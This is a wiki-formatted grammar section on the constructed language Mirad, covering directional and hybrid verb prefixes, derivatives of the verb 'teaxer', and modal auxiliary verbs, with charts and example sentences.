=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
